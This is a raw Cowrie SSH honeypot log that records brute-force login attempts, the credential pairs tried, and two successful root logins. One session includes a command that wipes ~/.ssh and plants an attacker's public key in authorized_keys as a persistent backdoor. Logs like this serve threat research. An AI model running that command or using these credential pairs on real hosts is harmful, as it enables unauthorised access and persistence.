{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:36.773601Z","src_ip":"92.118.39.92","session":"873d537db01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"webadmin","message":"login attempt [webadmin/webadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.073011Z","src_ip":"92.118.39.92","session":"873d537db01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.249.152","src_port":62058,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb92b5f30cf1","protocol":"ssh","message":"New connection: 172.210.249.152:62058 (10.17.0.5:22) [session: cb92b5f30cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.475689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.479973Z","src_ip":"172.210.249.152","session":"cb92b5f30cf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.573047Z","src_ip":"172.210.249.152","session":"cb92b5f30cf1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.620571Z","src_ip":"172.210.249.152","session":"cb92b5f30cf1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.693127Z","src_ip":"172.210.249.152","session":"cb92b5f30cf1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.697069Z","src_ip":"172.210.249.152","session":"cb92b5f30cf1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.701256Z","src_ip":"172.210.249.152","session":"cb92b5f30cf1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.719944Z","src_ip":"172.210.249.152","session":"cb92b5f30cf1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.790933Z","src_ip":"172.210.249.152","session":"cb92b5f30cf1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.795439Z","src_ip":"172.210.249.152","session":"cb92b5f30cf1","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.815584Z","src_ip":"172.210.249.152","session":"cb92b5f30cf1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.819505Z","src_ip":"172.210.249.152","session":"cb92b5f30cf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.249.152","src_port":62070,"dst_ip":"10.17.0.5","dst_port":22,"session":"3503aff2f222","protocol":"ssh","message":"New connection: 172.210.249.152:62070 (10.17.0.5:22) [session: 3503aff2f222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.828376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.833571Z","src_ip":"172.210.249.152","session":"3503aff2f222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.849939Z","src_ip":"172.210.249.152","session":"3503aff2f222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:37.947709Z","src_ip":"172.210.249.152","session":"3503aff2f222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:38.202936Z","src_ip":"92.118.39.92","session":"873d537db01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:38.968206Z","src_ip":"172.210.249.152","session":"3503aff2f222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.249.152","src_port":62074,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bc0e51193d5","protocol":"ssh","message":"New connection: 172.210.249.152:62074 (10.17.0.5:22) [session: 4bc0e51193d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:38.978643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:38.983412Z","src_ip":"172.210.249.152","session":"4bc0e51193d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:38.998194Z","src_ip":"172.210.249.152","session":"4bc0e51193d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:39.088251Z","src_ip":"172.210.249.152","session":"4bc0e51193d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:39.105975Z","src_ip":"172.210.249.152","session":"cb92b5f30cf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:01:39.111435Z","src_ip":"172.210.249.152","session":"4bc0e51193d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.3","src_port":39974,"dst_ip":"10.17.0.5","dst_port":22,"session":"36ca4275a552","protocol":"ssh","message":"New connection: 118.193.33.3:39974 (10.17.0.5:22) [session: 36ca4275a552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:10.183222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:10.187429Z","src_ip":"118.193.33.3","session":"36ca4275a552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:10.401841Z","src_ip":"118.193.33.3","session":"36ca4275a552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zz","password":"zz1234","message":"login attempt [zz/zz1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:11.293345Z","src_ip":"118.193.33.3","session":"36ca4275a552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:12.509762Z","src_ip":"118.193.33.3","session":"36ca4275a552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":53030,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6e0d0b6e9e8","protocol":"ssh","message":"New connection: 162.120.6.20:53030 (10.17.0.5:22) [session: e6e0d0b6e9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:18.337792Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:18.410089Z","src_ip":"162.120.6.20","session":"e6e0d0b6e9e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":53044,"dst_ip":"10.17.0.5","dst_port":22,"session":"e80a725a27eb","protocol":"ssh","message":"New connection: 162.120.6.20:53044 (10.17.0.5:22) [session: e80a725a27eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:18.472201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:18.479122Z","src_ip":"162.120.6.20","session":"e80a725a27eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:18.547325Z","src_ip":"162.120.6.20","session":"e80a725a27eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123mudar","message":"login attempt [ubuntu/123mudar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:18.749884Z","src_ip":"162.120.6.20","session":"e80a725a27eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:19.820378Z","src_ip":"162.120.6.20","session":"e80a725a27eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":58330,"dst_ip":"10.17.0.5","dst_port":22,"session":"45a6bb168a89","protocol":"ssh","message":"New connection: 35.240.75.51:58330 (10.17.0.5:22) [session: 45a6bb168a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:23.923108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:23.928198Z","src_ip":"35.240.75.51","session":"45a6bb168a89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:24.069970Z","src_ip":"35.240.75.51","session":"45a6bb168a89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"planka","password":"Planka123!","message":"login attempt [planka/Planka123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:24.644095Z","src_ip":"35.240.75.51","session":"45a6bb168a89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.218.242.31","src_port":36096,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b6f616082c9","protocol":"ssh","message":"New connection: 103.218.242.31:36096 (10.17.0.5:22) [session: 3b6f616082c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:25.190393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:25.196219Z","src_ip":"103.218.242.31","session":"3b6f616082c9","protocol":"ssh"}
